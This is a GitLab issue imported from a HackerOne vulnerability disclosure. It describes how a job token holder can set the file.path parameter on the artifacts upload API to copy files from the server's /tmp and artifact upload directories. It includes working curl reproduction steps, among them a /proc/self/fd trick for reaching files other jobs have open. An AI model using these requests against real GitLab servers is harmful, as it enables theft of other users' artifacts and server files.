Skip to content

gitlab-workhorse bypass on job artifact upload allowing any tmp file to be uploaded

Issue imported from HackerOne report #835782 by vakzz
Initial report sent by HackerOne report #835417 by manassehzhou on 2020-03-31, assigned to @dcouture:

Summary

Similar to https://hackerone.com/reports/835455, a user can set the file.path for the job artifacts api when uploading an artifact, allowing files from /tmp or /var/opt/gitlab/gitlab-rails/shared/artifacts/tmp/uploads to be accessed.

Steps to reproduce

  1. create a project
  2. register a new runner curl -XPOST 'http://gitlab-vm.local/api/v4/runners?token=$RUNNER_REG_TOKEN'
  3. add a .gitlab-ci.yml, can just use the template
  4. use the runner token to request a job curl -XPOST 'http://gitlab-vm.local/api/v4/jobs/request?token=$RUNNER_TOKEN'
  5. create an example file to be copied on the server echo hello > /tmp/ggg; sudo chown git:git /tmp/ggg
  6. use the job token to upload a file setting the file.path to the file to be copied:
curl -XPOST 'http://gitlab-vm.local/api/v4/jobs/21/artifacts?token=$JOB_TOKEN&file.path=/proc/self'  
{"message":"insecure path used '/proc/32560'"}  
curl -XPOST 'http://gitlab-vm.local/api/v4/jobs/21/artifacts?token=$JOB_TOKEN&file.path=/tmp/ggg'  
201  
  1. download the file curl 'http://gitlab-vm.local/api/v4/jobs/21/artifacts?token=$JOB_TOKEN'

As symlinks are resolved before checking if the path is allowed, /proc/self/fd/xx could be used to access any files in /tmp or /var/opt/gitlab/gitlab-rails/shared/artifacts/tmp/uploads without needing to know the filename just the file descriptor if rails currently has them open. This could allow an attacker to steal artifacts from other jobs or other /tmp files.

Impact

  • allows an attacker to read files in /tmp owned by git
  • allows an attacker to read files /var/opt/gitlab/gitlab-rails/shared/artifacts/tmp/uploads

What is the current bug behavior?

An attacker is able to supply a file.path and gitlab believes it has been sent by gitlab-workhorse

What is the expected correct behavior?

Only gitlab-workhorse should be allowed to set file.* params

Output of checks

Results of GitLab environment info

System information  
System:     Ubuntu 18.04  
Proxy:      no  
Current User:   git  
Using RVM:  no  
Ruby Version:   2.6.5p114  
Gem Version:    2.7.10  
Bundler Version:1.17.3  
Rake Version:   12.3.3  
Redis Version:  5.0.7  
Git Version:    2.24.1  
Sidekiq Version:5.2.7  
Go Version: unknown

GitLab information  
Version:    12.9.1-ee  
Revision:   0ebcf602332  
Directory:  /opt/gitlab/embedded/service/gitlab-rails  
DB Adapter: PostgreSQL  
DB Version: 10.12  
URL:        http://gitlab-vm.local  
HTTP Clone URL: http://gitlab-vm.local/some-group/some-project.git  
SSH Clone URL:  git@gitlab-vm.local:some-group/some-project.git  
Elasticsearch:  no  
Geo:        no  
Using LDAP: no  
Using Omniauth: yes  
Omniauth Providers:

GitLab Shell  
Version:    12.0.0  
Repository storage paths:  
- default:  /var/opt/gitlab/git-data/repositories  
GitLab Shell path:      /opt/gitlab/embedded/service/gitlab-shell  
Git:        /opt/gitlab/embedded/bin/git  

Impact

  • allows an attacker to read files in /tmp owned by git
  • allows an attacker to read files /var/opt/gitlab/gitlab-rails/shared/artifacts/tmp/uploads
Edited by Jason Goodman